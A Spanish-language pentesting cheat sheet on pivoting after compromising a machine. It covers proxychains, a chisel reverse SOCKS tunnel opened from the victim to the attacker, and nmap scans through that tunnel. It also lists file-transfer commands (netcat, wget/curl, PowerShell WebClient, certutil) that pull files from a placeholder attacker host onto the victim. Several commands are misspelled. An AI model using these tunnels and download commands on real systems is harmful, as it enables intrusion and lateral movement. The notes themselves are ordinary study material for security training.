Pivoting

Una vez se ha comprometido una máquina en la red objetivo, es posible que necesitemos permisos de administrador.

Proyxchains

Es una herramienta que acctua como servidor proxy usando protocolos HTTP, HTTPS, SOCKS4 y SOCKS5, el cual funciona en sistemas Unix-Like. Esta herramienta permite que cualquier conexión TCP realizada por un programa local salaga a internet a través de una serie de proxies configurados hasta su destino.

- HTTP: Diseñados para recibir peticiones y redirigirlas al recurso solicitado. Untilizado para conexiones no cifradas, aunque tiene soporte para SSL.
- SOCKS4: Diseñado para manejar el tráfico entre el cliente y el servidor por medio de un intermediario. Esta versión solo soporte comunicaciones TCP y no cuenta con métodos de autenticación.
- SOCKS4A: Incorpora soporte para resolución de nombres mediante DNS
- SOCKS5: Incorpora soporte para conexiones TCP y UDP. Tamvién incluye soporte para autenticación desde el cliente hasta el servidor proxy.

ProxyChains permite en cadenar varios tipos de proxy simultáneamente. También permite deifinir un número máximo de proxies, cuandos más se encadenen, mayor anonimato se obtendrá. Es necesario configurar el archivo de configuración de proxychains y una lista de servidores proxy. El archivo de configuración se encuentra en la siguiente ruta:

```
/etc/proxychains.conf
```

Por defecto, proxychains trae configurada una conexión para TOR:

proxychains.conf

```
[ProxyList]
socks4 127.0.0.1 9050
```

- STRICT_CHAIN: Seguirá la lista de proxies de forma ordenada. En caso de que alguno de los proxy de la lsita fallen, no se establecerá la conexión. Esta opción se utiliza para comprobar la funcionalidad del total de proxies en la lsita.
- DYNAMIC_CHAIN: El encadenamiento dinámico permite ejecutar el tráfico a través de todos los proxies de la lsita, si uno está caido, se salta automáticamente al siguiente sin errores.
- RANDOM_CHAIN: Permitirá a los proxychains elegir aleatoriamente direcciones IP de la lista, cada vez que se use proxychains, la cadena del proxy tendrá un aspecto diferente al del objetivo.

Chinsel

Es un túnel TCP/UDP sobre HTTP securizado via SSH. Funciona como un único ejecutble multiplataforma tanto en modo cliente como modo servidor.

```
#A ejecutar en el atacante
./chinsel server -reverse -p <Puerto_atacante>

#A ejecutar en la víctima
./chinsel client <ip_atacate>:<Puerto_atacante> R:socks
```

Por defecto, chinsel se configura en el puerto 1080 asociado al proxychains, por lo que se debe añadir al fichero proxychains.conf.

```
socks5 127.0.0.1 1080
```

Una vez se tiene conectividad a través de la máquina víctima, se puede acceder a otras máquinas desconocidas, para ello se puede realizar un descubrimiento de la red con el siguiente comando:

```
proxychains nmap -A -Pn -n -p-o -v <IP_objetivo>
```

FoxyProxy

Si se quiere usar el navegador sobre el proxy, se debe configurar la extensión FoxyProxy sobre el navegador para que utilice el proxychains configurado.

Socat

Establece 2 flujos de bytes bidireccionales y transfiere datos entre ellos. Los canales de datos pueden ser archivos, tuberías, dispositivos o sockets. Proporciona bifurcación, registro y rastreo, distintos modos de comunicación entre procesos y muchas más opciones.

Trasferencia de archivos

Netcat

```
#Desde el atacante
nc -lvp <puerto_atacante> < <archivo>

#Desde la víctima
nc <IP_atacante> <Puerto_atacante> > <archivo>
```

Python

```
#Se crea un pequeño servidor web en el atacante con python
Python -m SimpleHTTPServer <PUERTO_ATACANTE>

#[LINUX] Se usa WGET o CURL desde la máquina objetivo para descargar el
archivo
wget http://<IP_ATACANTE>:<PUERTO_atacante>/<archivo>
curl -O http://<IP_ATACANTE>:<PUERTO_atacante>/<archivo>

#[WINDOWS] Se usa Windows File Transfer
powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://<IP_ATACANTE>:<PUERTO_ATACANTE>/<
archivo>','
C:\Users\user\Desktop\<archivo>')“

certutil -urlcache -f http://<IP_ATACANTE>:<PUERTO_ATACANTE>/<archivo>
<archivo>
```